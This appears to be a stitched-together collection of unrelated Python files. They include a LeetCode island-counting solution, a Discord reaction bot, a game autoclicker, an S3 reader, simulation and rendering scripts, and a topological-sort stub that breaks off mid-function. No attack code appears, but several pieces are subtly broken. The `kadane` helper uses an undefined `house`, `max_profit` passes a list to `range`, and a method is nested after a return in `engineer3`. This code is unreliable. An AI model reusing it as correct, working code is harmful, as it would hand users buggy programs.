#https://leetcode.com/problems/number-of-closed-islands/
#Given a 2D grid consists of 0s (land) and 1s (water).  An island is a maximal 4-directionally connected group of 0s and a closed island is an island totally (all left, top, right, bottom) surrounded by 1s.
#Return the number of closed islands.
#
#Example 1:
#Input: grid = [[1,1,1,1,1,1,1,0],[1,0,0,0,0,1,1,0],[1,0,1,0,1,1,1,0],[1,0,0,0,0,1,0,1],[1,1,1,1,1,1,1,0]]
#Output: 2
#Explanation:
#Islands in gray are closed because they are completely surrounded by water (group of 1s).
#Example 2:
#Input: grid = [[0,0,1,0,0],[0,1,0,1,0],[0,1,1,1,0]]
#Output: 1
#Example 3:
#Input: grid = [[1,1,1,1,1,1,1],
#               [1,0,0,0,0,0,1],
#               [1,0,1,1,1,0,1],
#               [1,0,1,0,1,0,1],
#               [1,0,1,1,1,0,1],
#               [1,0,0,0,0,0,1],
#               [1,1,1,1,1,1,1]]
#Output: 2
#
#Constraints:
#	1 <= grid.length, grid[0].length <= 100
#	0 <= grid[i][j] <=1
class Solution(object):
    def closedIsland(self, grid):
        """
        :type grid: List[List[int]]
        :rtype: int
        """
        # Approach 1: DFS
		# Runtime: 156 ms, faster than 53.85% of Python online submissions for Number of Closed Islands.
		# Memory Usage: 13.6 MB, less than 100.00% of Python online submissions for Number of Closed Islands.
        rows, cols = len(grid), len(grid[0])
        def dfs(i, j):
            if not 0 <= i < rows or not 0 <= j < cols:
                return False
            if grid[i][j] == 1:
                return True
            grid[i][j] = 1
            return dfs(i + 1, j) & dfs(i - 1, j) & dfs(i, j + 1) & dfs(i, j - 1)
        ans = 0
        for i in range(rows):
            for j in range(cols):
                ans += dfs(i, j)
        return ans


import discord
from discord.ext import commands
import random
import json
import io
import aiohttp
import asyncio

SECRET_CHANNEL_ID = 757398739223576646

class DictSpeak(commands.Cog):
    """
    Facilitates the managment of reaction images, gifs and so on.
    """

    def __init__(self, bot, command_prefix, dict_filenames, dict_names, dir_prefix, upload_channel_id=SECRET_CHANNEL_ID):
        self.bot = bot
        self.command_prefix = command_prefix
        self.upload_channel_id = upload_channel_id
        self.dir_prefix = dir_prefix

        # set up dictionaries
        self.init_dict(dict_filenames, dict_names)

    @commands.Cog.listener()
    async def on_ready(self):
        # check if the upload channel is available.
        self.upload_channel = self.bot.get_channel(self.upload_channel_id)

        if self.upload_channel is None:
            print('Error while finding the upload channel.')
            raise

    @commands.group()
    @commands.is_owner()
    async def react(self, ctx):
        if self.upload_channel is None:
            return await ctx.send('Please wait for the bot to be ready (channel not found).')

    @react.command(name='upload')
    async def upload_reaction_media(self, ctx, file_type, reaction_name, link):
        # download file using link provided
        async with aiohttp.ClientSession() as session:
            async with session.get(link) as resp:
                if resp.status != 200:
                    return await ctx.send('Error while downloading file.')
                data = io.BytesIO(await resp.read())

                # upload file to specified channel
                rfile = discord.File(data)
                rfile.filename = reaction_name + '.' + file_type
                message = await self.upload_channel.send(content=reaction_name, file=rfile)

        if message is None:
            return await ctx.send('Error while retrieving image message.')

    @react.command(name='add')
    async def add_reaction_to_dict(self, ctx, dict_name, reaction_name, link, option=None):
        # send error message if no such dictionary exists
        if dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + dict_name + ' found.')
            return

        # add reaction if no reaction by the same name exists
        if reaction_name not in self.dict_dict[dict_name].keys():
            self.dict_dict[dict_name][reaction_name] = [link]
            await ctx.send('Added ' + reaction_name + ' to ' + dict_name + '.')
            return

        # handle situations where a reaction by the same name already exists
        if option == 'replace':
            self.dict_dict[dict_name][reaction_name] = [link]
            await ctx.send('Replaced ' + reaction_name + ' in ' + dict_name + '.')
        elif option == 'overload':
            self.dict_dict[dict_name][reaction_name].append(link)
            await ctx.send('Overloaded ' + reaction_name + ' in ' + dict_name + '.')
        else:
            await ctx.send('Error: another reaction with the same name already exists.')
        return

    @react.command(name='remove')
    async def remove_reaction_from_dict(self, ctx, dict_name, reaction_name):
        # send error message if no such dictionary exists
        if dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + dict_name + ' found.')
            return

        # send error message if no such reaction exists
        if reaction_name not in self.dict_dict[dict_name]:
            await ctx.send('Error: No reaction named ' + reaction_name + ' found in ' + dict_name + '.')
            return

        self.dict_dict[dict_name].pop(reaction_name)
        await ctx.send('Removed ' + reaction_name + ' from ' + dict_name + '.')

    @react.command(name='rename')
    async def rename_reaction(self, ctx, dict_name, reaction_name, new_name):
        # send error message if no such dictionary exists
        if dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + dict_name + ' found.')
            return

        # send error message if no such reaction exists
        if reaction_name not in self.dict_dict[dict_name]:
            await ctx.send('Error: No reaction named ' + reaction_name + ' found in ' + dict_name + '.')
            return

        self.dict_dict[dict_name][new_name] = self.dict_dict[dict_name][reaction_name]
        self.dict_dict[dict_name].pop(reaction_name)
        await ctx.send('Renamed ' + reaction_name + ' in ' + dict_name + ' to ' + new_name + '.')

    @react.command(name='move')
    async def move_reaction(self, ctx, reaction_name, old_dict_name, new_dict_name):
        # send error message if the source dictionary does not exist
        if old_dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + old_dict_name + ' found.')
            return

        # send error message if the destination dictionary does not exist
        if new_dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + new_dict_name + ' found.')
            return

        # send error message if no such reaction exists in the source dictionary
        if reaction_name not in self.dict_dict[old_dict_name]:
            await ctx.send('Error: No reaction named ' + reaction_name + ' found in ' + old_dict_name + '.')
            return

        # send error message if such a reaction already exists in the destination dictionary
        if reaction_name in self.dict_dict[new_dict_name]:
            await ctx.send('Error: another reaction with the same name already exists in ' + new_dict_name + '.')
            return

        self.dict_dict[new_dict_name][reaction_name] = self.dict_dict[old_dict_name][reaction_name]
        self.dict_dict[old_dict_name].pop(reaction_name)
        await ctx.send('Moved ' + reaction_name + ' in ' + old_dict_name + ' to ' + new_dict_name + '.')

    @react.command(name='save')
    async def save_dict_to_file(self, ctx, prefix=''):
        # save dictionaries to JSON files
        for name, dictionary in self.dict_dict.items():
            with open(self.dir_prefix + name + '.json', 'w', encoding='utf-8') as f:
                json.dump(dictionary, f, indent=4)

        await ctx.send('Saved dictionaries to file.')

    @commands.Cog.listener()
    async def on_message(self, message):

        # check if the prefix matches
        if len(message.content) == 0 or message.content[0] not in self.command_prefix:
            return

        # extract command name
        msg_tokens = message.content.split()
        cname = msg_tokens[0][1:]

        # search dictionaries for command
        for dictionary in self.dict_dict.values():

            # check if the command is in the dictionary
            if cname in dictionary.keys():

                # randomly select a message if the command is overloaded
                if len(dictionary[cname]) > 1:
                    await message.channel.send(random.choice(dictionary[cname]))
                else:
                    await message.channel.send(dictionary[cname][0])

    @commands.command(name='list')
    async def list_dict(self, ctx, dict_name=None, *args):
        # list dictionaries if no dict_name is given
        if dict_name is None:
            await ctx.send('List of dictionaries: \n```\n'
                            + '\n'.join([name for name in self.dict_dict.keys()])
                            + '```')
            return

        # send error message if no such dictionary exists
        if dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + dict_name + ' found.')
            return

        # process args
        sort = False
        keep = False
        time = 60
        if 'sort' in args:
            sort = True
        if 'keep' in args:
            try:
                if args[args.index('keep') + 1] == 'forever':
                    keep = True
                else:
                    time = int(args[args.index('keep') + 1])
            except ValueError:
                await ctx.send('Error: Please provide a valid time value.')
                return
            except IndexError:
                keep = True

        # search using substring
        if 'search' in args:
            try:
                search_string = args[args.index('search') + 1]
            except IndexError:
                await ctx.send('Error: Please provide a search string.')
                return

            results = []
            for reaction in self.dict_dict[dict_name]:
                    if search_string  in reaction:
                        results.append(reaction)

            if len(results) == 0:
                await ctx.send('No search result found.')
                return

            if sort is True:
                results.sort()

            results = '\n'.join(results)
            message = await ctx.send('Search results in dictionary: \n```\n'
                                    + results
                                    + '```')

        else:
            # send the list of commands in the dictionary
            entries = [cname for cname in self.dict_dict[dict_name]]

            # sort entries if required
            if sort is True:
                entries.sort()

            entries = '\n'.join(entries)
            message = await ctx.send('List of entries in dictionary: \n```\n'
                            + entries
                                + '```')

        # delete message of dictionary list after a specified amount of time.
        if keep is False:
            await message.delete(delay=time)
            print('DictSpeak: Dictionary list message deleted.\n')

    def init_dict(self, filenames, names):
        # initialise an empty dictionary of dictionaries
        self.dict_dict = {}

        # load dictionaries
        for i, filename in enumerate(filenames):
            with open(self.dir_prefix + filename, 'r', encoding='utf-8') as f:
                dictionary = json.load(f)

            # turn all strings into lists
            for reaction in dictionary:
                if isinstance(dictionary[reaction], str):
                    dictionary[reaction] = [dictionary[reaction]]

            # store the dictionary with its name
            self.dict_dict[names[i]] = dictionary


#!/usr/bin/env python3
# Created by: Carolyn Webster Pless
# Created on: 2022/09/22
# Takes user input for the length and width and displays the area
# and perimeter back to the user

import math

def main():

    print("Area and Perimeter of a Rectangle")
    length = int(input("Enter the length here (cm): "))
    width = int(input("Enter the width here (cm): "))

    area = length * width
    perim = 2 * (length + width)

    print("The area is : {}cm^2".format(area))
    print("The perimeter is : {}cm".format(perim))

if __name__ == "__main__":
    main()


import streamlit as st
from PIL import Image

img = Image.open("employee.jpg")

st.set_page_config(
    page_title='Employee Churn Prediction',
    page_icon=img
)

st.text('This is a web app to predict employee churn.')

'''
## WELCOME!

Welcome to the "***Employee Churn Analysis Project***". This is the second project of the Capstone Project Series, where we created our classification models for various business environments.

In this project we researched what is Employee Churn?, How it is different from customer churn, Exploratory data analysis and visualization of employee churn dataset using ***matplotlib*** and ***seaborn***, model building and evaluation using python ***scikit-learn*** and ***Tensorflow-Keras*** packages.

We implement classification techniques in Python, Using Scikit-Learn, allowing you to successfully make predictions with Distance Based, Bagging, and Boosting algorithms for this project. On the other hand, for Deep Learning, we used Tensorflow-Keras.

- NOTE: This project assumes that you already know the basics of coding in Python and are familiar with model deployement as well as the theory behind Distance Based, Bagging, Boosting algorithms, and Confusion Matrices.

---

'''


import itertools

def kadane(arr, func):
    a = b = 0
    for element in arr:
        if func == 'max_subarray':
            a = max(a + element, 0)
            b = max(a, b)
        elif func == 'house_robber':
            a, b = max(a, b + house), a
    if func == 'max_subarray':
        answer = 'b'
    return b if func == 'max_subarray' else a

def rob(houses):
    previous = current = 0
    for house in houses:
        previous, current = max(previous, current + house), previous
    return previous

def max_profit(k, prices):
    if k < len(prices)//2:
        profit = [0, -float('inf')]*k + [0]
        for i, price in enumerate(prices):
            for j in range(1, 2*k, 2):
                profit[j - 1] =  max(profit[j - 1], profit[j] + price)
                profit[j] = max(profit[j], profit[j + 1] - price)
        return profit[0]
    return sum(prices[i] - prices[i - 1] for i in range(1, prices)
        if prices[i - 1] < prices[i]
    )

def single_number(arr, k=2):
    m = len(bin(max(arr))) - 2
    counter = [0]*m
    single = 0
    for integer, i in itertools.product(arr, range(m)):
        if integer & 1<<i: counter[i] += 1
    for i, x in enumerate(counter):
        if x%k:
            single |= 1<<i
    return single

def wagner_fischer(matrix, base, left, top, each_cell):
    matrix[0][0] = base
    r = range(1, len(matrix))
    for i in r:
        matrix[i][0] = left(i)
    for j in range(1, len(matrix[0])):
        matrix[0][j] = top(j)
    for i in r:
        for j in range(1, len(matrix[i])):
            matrix[i][j] = each_cell(i, j)

def construct_prefix_sum(matrix):
    if matrix:
        prefix_sum = [[0] * (len(matrix[0]) + 1)
            for i in range(len(matrix) + 1)
        ]
        wagner_fischer(prefix_sum, 0, lambda i: 0, lambda j: 0,
            lambda i, j: (matrix[i - 1][j - 1] - prefix_sum[i - 1][j - 1]
                + prefix_sum[i - 1][j] + prefix_sum[i][j - 1]
            )
        )
        return prefix_sum
    return [[0]]

range_sum = lambda prefix_sum, r1, r2, c1, c2: (prefix_sum[r1][c1]
    - prefix_sum[r1][c2] - prefix_sum[r2][c1] + prefix_sum[r2][c2]
)

def hirschberg(x, y, base, left, top, each_cell, flexible=True):
    if flexible:
        y, x = sorted([x, y], key=len)
    m = len(y)
    dp = [[0]*m for k in range(2)]
    dp[0][0] = base
    r, q = range(1, len(x)), range(1, m)
    for j in q:
        dp[0][j] = top(dp, x, y, j)
    for i in r:
        dp[1][0] = left(dp, x, y, i)
        for j in q:
            dp[1][j] = each_cell(dp, x, y, i, j)
        dp[0] = dp[1][:]
    return dp[1][-1]

def lcs(x, y):
    return hirschberg(x, y, int(x[0] == y[0]),
        lambda dp, x, y, i: max(dp[0][0], int(x[i] == y[0])),
        lambda dp, x, y, j: max(dp[0][j - 1], int(x[0] == y[j])),
        lambda dp, x, y, i, j: max(dp[0][j], dp[1][j - 1],
            dp[0][j - 1] + int(x[i] == y[j])
        )
    )

def lps(s):
    r = range(len(s) + 1)
    return hirschberg(r, r, 0, lambda dp, x, y, i: 0,
        lambda dp, x, y, j: 0,
        lambda dp, x, y, i, j: max(dp[0][j], dp[1][j - 1]
        ) if s[i - 1] != s[-j] else dp[0][j - 1] + 1
    )


from task3 import task3
import random

class engineer3:

    def __init__(self,ID,skill,cat):

        # Skills, ID, etc
        self.ID = ID
        self.skill = skill
        self.category = cat
        self.listening = 1.0
        self.communication = 1.0
        self.timeliness = 1.0
        self.avgWork = 0.8
        self.stdDev = 0.2
        self.listenedTimes = 0.0

        # own task list
        self.taskList = []

    def setAvgWork(self,aw):
        self.avgWork = aw

    def setStdDev(self,sd):
        self.stdDev = sd

    def addTask(self,t):
        self.taskList.append(t)

    def setListening(self,l):
        self.listening = l

    def setCommunication(self,c):
        self.communication = c

    def setTimeliness(self,t):

        self.timeliness = t

    def setSkill(self,s):
        self.skill = s

    def setCategory(self,c):
        self.category = c

    def setID(self,ID):
        self.ID = ID

    def printTaskInfo(self):
        for t in self.taskList:
            t.printInfo()

    def work(self):

        # get the amount to be worked on each task (a fancy RV with some logic)
        effortAmount = self.effortAmnt()

        i = -1
        for t in self.taskList:
            i += 1

            t.calcPerceivedState(self.avgWork,self.stdDev,effortAmount[i],self.timeliness)
            t.calcTrueState()

    def receiveFeedback(self,errList,goalList):

        i = -1
        for t in self.taskList:
            i += 1
            if (i<len(errList)):
                rv = random.random()

                if (rv<self.listening) & (len(errList)>0):
                    t.updateManagementModifier(errList[i],goalList[i])
                    self.listenedTimes += 1.0

    def improveModel(self,task,skillMod,effort):
        # max improvement is a function of this, max improvement should be (.25 / nominal days) so someone improving at the max rate each day gets a perfect design
            maxImprovement = effort * (.25 / (10.0*task.nominalDays))
            improvement = maxImprovement * skillMod
            # probability of improving model approaches 100% as time progresses
            rv = random.random()
            improvementThreshold = .5 - 0.4*(float(task.daysWorked) / float(task.nominalDays))
            if rv>improvementThreshold:
                if task.gainedKnowledge<.25:
                    task.gainedKnowledge += improvement
                    task.perceivedGoal += improvement

    def effortAmnt(self):

        effortList = []

        numTasks = len(self.taskList)

        stillWorking = False
        for t in self.taskList:
            if t.complete == False:
                stillWorking = True

        if stillWorking == True:
            # add up all the priorities, this will let us know how much to work on each task
            prioritySum = 0.0
            for t in self.taskList:
                if t.complete == False:
                    prioritySum = prioritySum + t.priority

            # now do the work
            # start off by finding the skill modifier
            # this is hampered by 50% if work is not in user's wheelhouse
            # if user skill far outstrips difficulty, this 50% becomes less of an issue

            n = -1

            for t in self.taskList:

                n += 1

                if self.category == t.category:
                    skillModifier = self.skill/t.difficulty
                else:
                    skillModifier = 0.5 * self.skill/t.difficulty

                # calculate the effort for each task (2 equal priority tasks will get 50% effort each)
                effort = t.priority / prioritySum

                # improve task's PERCEIVED GOAL by some amount
                self.improveModel(t,skillModifier,effort)

                # do work on the task
                # perceived state will increase
                # ACTUAL state will still be affected by dependence

                effortList.append(effort)
        else:
            for t in self.taskList:
                effortList.append(0.0)

        return effortList

        def getDependenceModifier(self,taskNum):
            for s in self.dependentTaskState:
                i = self.dependenceList.index(s)
                impactedTask = self.taskList[self.dependenceList[i]]
                realError = 1.0 - s.trueState
                communicatedError = 1.0 - s.perceivedState


from pyautogui import *
import pyautogui
import time
import keyboard
import random
import win32api, win32con

time.sleep(3)

def click(x, y):
    win32api.SetCursorPos((x, y))
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0)
    time.sleep(0.1)  # This pauses the script for 0.1 seconds
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0)

def buymats(x, y):
    for i in range(5):
        click(x, y)
        time.sleep(0.3)

def craftmats(x, y):
    for i in range(100000000):
        click(x, y)
        time.sleep(0.3)

# Counter location is 691,617
# craft is 466,978
# buy mat is 1700,292
# buy 488,500 and 746,500 and 985,500
# go to craft 1375,973
# craft 203,664 and 695,664 and 927,664
# x is 1737,128
#storage 1st item 212,855 next add 250 to 212

while keyboard.is_pressed('q') == False:

    #use buymats for clearing counter
    craftmats(966, 150)
    time.sleep(0.5)


import boto3
import sys

profile = sys.argv[1]
bucket_name = sys.argv[2]
object_key = sys.argv[3]

session = boto3.Session(profile_name=profile)

try:
  s3=session.resource("s3")
  obj = s3.Object(bucket_name, object_key)
  body = obj.get()['Body'].read().decode('utf-8')
  print(body)
except Exception as e:
  print(e)


import utils.xml_utils
from . import components as cmp
from . import run
import utils.general

import toml
import logging
from pkg_resources import parse_version
import dill
import os
from time import gmtime, strftime
import re

COMPONENTS = {'atmosphere': cmp.Atmosphere, 'phase': cmp.Phase, 'directions': cmp.Directions, 'plots': cmp.Plots,
              'coeff_diff': cmp.CoeffDiff, 'object3d': cmp.Object3d, 'maket': cmp.Maket, 'inversion': cmp.Inversion,
              'trees': cmp.Trees, 'triangleFile': cmp.TriangleFile, 'urban': cmp.Urban, 'water': cmp.Water}

CONFIG_FILE_NAME = 'config.toml'
DEFAULT_CONFIG_FILE_PER_VERSION = {'5.7.5': '../default_params/default575.toml'}
DILL_FIL = 'simulation.dill'

class Simulation(object):
    def __init__(self, config, default_config=None, default_patch=True, xml_patch=None, land_cover=None, maket=None,
                 no_gen=None, version='5.7.5', simulation_name='new', simulation_location='./test_simulations',
                 dart_path=None, *args, **kwargs):
        """
        Create a new simulation. Configs are patched in the following order: xml_patch, default_patch, config, args

        :param config (str, dict or list of str and dict): paths to config files or config dicts, higher indices override
        :param default_config (path or bool): if True get default to closest lower version
        :param xml_patch (list of tuples): tuples of the form (component_name, path)
        :param args:
        :param kwargs:
        """
        self.default_config = default_config
        self.non_generated_components = self._convert_component_kwarg(no_gen)

        self.xml_patch = xml_patch

        self.land_cover = land_cover
        self.maket = maket

        self.components = {}
        self.component_params = {}

        init_user_config = {'version': version, 'simulation_name': simulation_name,
                            'simulation_location': simulation_location, 'dart_path': dart_path}

        self.config = None
        if config is None:
            # if no user_config and no default is supplied
            # create minimal user_config for simulation directory instantiation
            if not default_patch:
                self.config = init_user_config
                self.non_generated_components = list(COMPONENTS.keys())
                logging.warning('No config nor default was supplied. No components are being generated. '
                                + 'You might be copying them though. In this case ignore this warning.')
            else:
                self.config = self._patch_to_default(init_user_config)
        else:
            if not hasattr(config, '__iter__') or type(config) is str:
                config = [config]

            patched_config = {}
            for conf in config:
                if type(conf) is str:
                    conf = toml.load(conf, _dict=dict)
                patched_config = utils.general.merge_dicts(src_dict=patched_config, patch_dict=conf)

            self.config = self._patch_configs(patched_config, init_user_config, [None])
            if default_patch:
                self.config = self._patch_to_default(self.config)

        self._split_config()
        self._create_simulation_dir(self.config, *args, **kwargs)
        self._generate_components(ignore=self.non_generated_components, xml_patch=self.xml_patch)

        self._is_to_file = False

    def is_complete(self):
        return None in self.components.values()

    @classmethod
    def load(cls, path):
        with open(utils.general.create_path(path, DILL_FIL), 'rb') as f:
            return dill.load(f)

    @classmethod
    def from_simulation(cls, base_path, config=None, default_patch=False, simulation_patch=True, xml_patch=None,
                        copy_xml=None, no_gen=None, use_db=None, force=False, *args, **kwargs):
        """
        Create a new simulation based on an existing simulation directory. Configs are patched in the following order:
        xml_patch, default_patch, base_simulation_config, config, args

        :param default_config (path or bool): if True get default to closest lower version
        :param base_path: path to the base simulation
        :param simulation_patch (bool): whether to patch config to the base simulation config
        :param xml_patch (str or list of str or list of tuples): component names or tuples of the form (name, path),
                                                  if only name is supplied the component xml of the base simulation
                                                  is used, 'all', 'implemented' and 'not_implemented' and the component
                                                  names can be used in one string with - and + operators as well
        :param use_db:
        :param copy_xml (str or list of str): see xml_patch
        :param force: disregard version inconsistencies
        :param args:
        :param kwargs:
        :return:
        """

        simulation_config_path = utils.general.create_path(base_path, CONFIG_FILE_NAME)

        user_config_valid = config is not None and os.path.exists(config)
        if not user_config_valid and config is not None:
            raise Exception('config file path does not exist')

        simulation_patch_valid = simulation_patch and os.path.exists(simulation_config_path)

        # if there is a config_file in the simulation directory and a user config, the configs are patched
        if simulation_patch_valid and user_config_valid:
            config = Simulation._patch_configs(toml.load(simulation_config_path, _dict=dict), toml.load(config, _dict=dict))

        # if there is no user config but a config in the simulation directory and simulation_patch=True
        elif simulation_patch_valid and not user_config_valid:
            config = simulation_config_path

        if os.path.exists(base_path):
            # generate valid xml_patch_path input
            xml_patch = cls._convert_component_to_path(xml_patch, base_path)

            # generate all components that are not copied and are not excluded by no_gem
            no_gen_tot = copy_xml = cls._convert_component_kwarg(copy_xml)
            if no_gen is not None:
                no_gen_tot = no_gen_tot.union(cls._convert_component_kwarg(no_gen))

            sim = cls(config, default_patch=default_patch, no_gen=no_gen_tot, xml_patch=xml_patch, *args, **kwargs)

            # copy component xml files of copy_xml components
            for comp in copy_xml:
                sim.components[comp] = COMPONENTS[comp].from_simulation(simulation_dir=sim.path, base_path=base_path,
                                                                        version=sim.version, force=force)
        else:
            raise Exception('Simulation directory ' + base_path + ' does not exist.')
        return sim

    @classmethod
    def _convert_component_to_path(cls, lis, simulation_dir_path):
        """
        convert shortcut path to valid list of tuples

        :param lis:
        :param simulation_dir_path:
        :return:
        """
        lis = cls._convert_component_kwarg(lis)

        ret = []
        for i, l in enumerate(lis):
            if type(l) is str and l in COMPONENTS.keys():
                ret.append((l, utils.general.create_path(simulation_dir_path, 'input',
                                                         COMPONENTS[l].COMPONENT_FILE_NAME)))
            elif type(l) is tuple:
                ret[i].append(l)
            else:
                raise Exception('Must be a list with elements of type either tuple or string.')

        return ret

    @staticmethod
    def _convert_component_kwarg(kwarg):
        """
        convert shortcut path to list of components

        :param kwarg:
        :return:
        """
        if kwarg is None:
            return set()

        if type(kwarg) is not str:
            return set(kwarg)

        lis = re.findall(r'(\+|\-)?\s?([a-zA-Z_]+)', kwarg)
        kwarg = set()
        for op, kw in lis:
            if kw == 'all':
                kw = set(COMPONENTS.keys())
            elif kw == 'not_implemented':
                kw = set([comp for comp in COMPONENTS.keys() if not COMPONENTS[comp].is_implemented()])
            elif kw == 'implemented':
                kw = set([comp for comp in COMPONENTS.keys() if COMPONENTS[comp].is_implemented()])
            elif kw in COMPONENTS.keys():
                kw = {kw}
            else:
                raise Exception('kwarg ' + str(kw) + ' is not a component.')
            if op == '' or op == '+':
                kwarg = kwarg.union(kw)

            elif op == '-':
                kwarg = kwarg.difference(kw)

        return kwarg

    def _create_simulation_dir(self, user_config, *args, **kwargs):
        """
        Create new simulation directory. Check for version consistency
        :param user_config:
        :param args:
        :param kwargs:
        :return:
        """

        # General
        self.dart_path = user_config['dart_path']
        self.version = user_config['version']

        # Path
        time = strftime("%Y-%m-%d-%H_%M_%S", gmtime())
        self.simulation_name = user_config['simulation_name'] + '_' + time
        self.simulation_location = user_config['simulation_location']
        self.path = utils.general.create_path(self.simulation_location, self.simulation_name)
        if os.path.exists(self.path):
            logging.exception(
                'Simulation directory already exists! You cannot create a new simulation in the same directory. ' +
                'Use from_simulation to reload a simulation.')
        else:
            os.makedirs(self.path)
            self.user_config_path = utils.general.create_path(self.path, CONFIG_FILE_NAME)
            with open(self.user_config_path, 'w+') as f:
                f.write(toml.dumps(user_config))

        with open(utils.general.create_path(self.path, DILL_FIL), 'wb') as f:
            dill.dump(self, f, protocol=dill.HIGHEST_PROTOCOL)

    def __getstate__(self):
        save = self.__dict__.copy()

        # TODO: need this because of some toml dict type messing up the pickling, find way to cast these
        # dicts to builtin dict
        save.pop('config')
        save.pop('component_params')
        return save

    def __setstate__(self, state):
        self.__dict__ = state

        # TODO: need this because of some toml dict type messing up the pickling, find way to cast these
        # dicts to builtin dict
        self.config = toml.load(self.user_config_path)
        self.component_params = {}
        self._split_config()

    def _patch_to_default(self, user_config):
        if self.default_config is None:
            # get most recent version still before this version
            path_ver = [(path, parse_version(version))
                        for version, path in DEFAULT_CONFIG_FILE_PER_VERSION.items()
                        if parse_version(version) <= parse_version(user_config['version'])]
            path_ver.sort(key=lambda i: i[1])
            self.default_config = path_ver[-1][0]

        return Simulation._patch_configs(toml.load(self.default_config, _dict=dict), user_config, ignore=[None])

    @staticmethod
    def _patch_configs(src_config, patch_config, ignore=None):
        valid = src_config.get('version') is None or patch_config.get('version') is None \
                or src_config['version'] == patch_config['version']
        if valid:
            return utils.general.merge_dicts(src_config, patch_config, ignore=ignore)
        else:
            raise Exception('Version inconsistency')

    def _split_config(self):
        self.component_params['phase'] = {'params': self.config.get('phase')}
        self.component_params['directions'] = {'params': self.config.get('directions')}
        self.component_params['maket'] = {'params': self.config.get('maket')}
        self.component_params['atmosphere'] = {'params': self.config.get('atmosphere')}
        self.component_params['object3d'] = {'params': self.config.get('object3d')}
        self.component_params['plots'] = {'params': self.config.get('plots'), 'land_cover': self.land_cover}
        self.component_params['coeff_diff'] = {'params': self.config.get('coeff_diff')}

    def _generate_components(self, ignore=None, xml_patch=None):
        if xml_patch is None:
            xml_patch = {}
        else:
            xml_patch = dict(xml_patch)

        for comp, cls in COMPONENTS.items():
            if ignore is not None and comp in ignore:
                continue

            if cls is None:
                raise NotImplementedError('Not all Components are implemented. Use from_simulation to simply' +
                                          ' copy the missing xml files')
            self.components[comp] = cls(simulation_dir=self.path, version=self.version,
                                        xml_patch_path=xml_patch.get(comp), **self.component_params[comp])

    def to_file(self):
        """
        Write simulation to a simulation directory
        :return:
        """
        for component in self.components.values():
            component.to_file()
        self._is_to_file = True

    def run(self, *args, **kwargs):
        """
        Run simulation

        :return:
        """
        run.SimulationRunner(self).run(*args, **kwargs)


import mmcv
import os.path as osp
import numpy as np
import sys
from transforms3d.axangles import axangle2mat
import torch

cur_dir = osp.dirname(osp.abspath(__file__))
sys.path.insert(0, osp.join(cur_dir, "../../../../"))

from core.utils.utils import allocentric_to_egocentric
from lib.egl_renderer.egl_renderer_v3 import EGLRenderer

model_dir = "datasets/BOP_DATASETS/lm/models/"

obj_id = 2
model_paths = [osp.join(model_dir, f"obj_{obj_id:06d}.ply")]
texture_paths = None  # [osp.join(model_dir, f"obj_{obj_id:06d}.png")]

height = 480
width = 640
# K = np.array([[1066.778, 0.0, 312.9869], [0.0, 1067.487, 241.3109], [0.0, 0.0, 1.0]])
K = np.array([[572.4114, 0, 325.2611], [0, 573.57043, 242.04899], [0, 0, 1]])
ren = EGLRenderer(
    model_paths,
    vertex_scale=0.001,
    use_cache=True,
    width=width,
    height=height,
    K=K,
    texture_paths=texture_paths,
)

tensor_kwargs = {"device": torch.device("cuda"), "dtype": torch.float32}
image_tensor = torch.empty((height, width, 4), **tensor_kwargs).detach()

R1 = axangle2mat((1, 0, 0), angle=0.5 * np.pi)
R2 = axangle2mat((0, 0, 1), angle=-0.5 * np.pi)
R = np.dot(R1, R2)
z = 0.7
t = np.array([0, 0, z], dtype=np.float32)
t1 = np.array([-0.25, 0, z], dtype=np.float32)
t2 = np.array([0.25, 0, z], dtype=np.float32)
pose = np.hstack([R, t.reshape((3, 1))])
pose1 = np.hstack([R, t1.reshape((3, 1))])
pose2 = np.hstack([R, t2.reshape((3, 1))])

cam_ray = (0, 0, 1)
allo_pose = allocentric_to_egocentric(pose, cam_ray=cam_ray)
allo_pose1 = allocentric_to_egocentric(pose1, cam_ray=cam_ray)
allo_pose2 = allocentric_to_egocentric(pose2, cam_ray=cam_ray)

background = np.ones((height, width, 3), dtype="uint8") * 255

ren.render(
    [0, 0, 0],
    [pose1, pose, pose2],
    image_tensor=image_tensor,
    background=background,
)
im_ego = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype("uint8")
# grid_show([im_ego[:,:,::-1]], ["im_ego"], row=1, col=1)

# ren.render([0], [pose1], image_tensor=image_tensor)
# im_ego1 = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype('uint8')
#
# ren.render([0], [pose2], image_tensor=image_tensor)
# im_ego2 = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype('uint8')

ren.render(
    [0, 0, 0],
    [allo_pose1, allo_pose, allo_pose2],
    image_tensor=image_tensor,
    background=background,
)
im_allo = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype("uint8")
# ren.render([0], [allo_pose1], image_tensor=image_tensor)
# im_allo1 = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype('uint8')
# ren.render([0], [allo_pose2], image_tensor=image_tensor)
# im_allo2 = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype('uint8')

# grid_show([im_ego1[:, :, ::-1], im_ego[:, :, ::-1], im_ego2[:, :, ::-1],
#            im_allo1[:, :, ::-1], im_allo[:, :, ::-1], im_allo2[:, :, ::-1]],
#           ["ego1", "ego", "ego2",
#            "allo1", "allo", "allo2"],
#           row=2, col=3)
# grid_show([im_ego[:, :, ::-1],  im_allo[:, :, ::-1]],
#           ["ego",
#            "allo"],
#           row=1, col=2)

mmcv.imwrite(im_ego, "output/ego.png")
mmcv.imwrite(im_allo, "output/allo.png")


# O(m+n)

"""
Algoritmi pentru grafuri orientate fără circuite (cu ponderi reale) -> DAGs = Directed Acyclic Graphs
Pentru drumuri minime de sursa unica in grafuri aciclice.
Daca vrem drumuri maxime in grafuri aciclice modificam initializarea distantelor la -inf si schimbam semnul comparatiei.
"""
from collections import deque

def sortare_topologica():
    ordine_topologica = []
    q = deque()
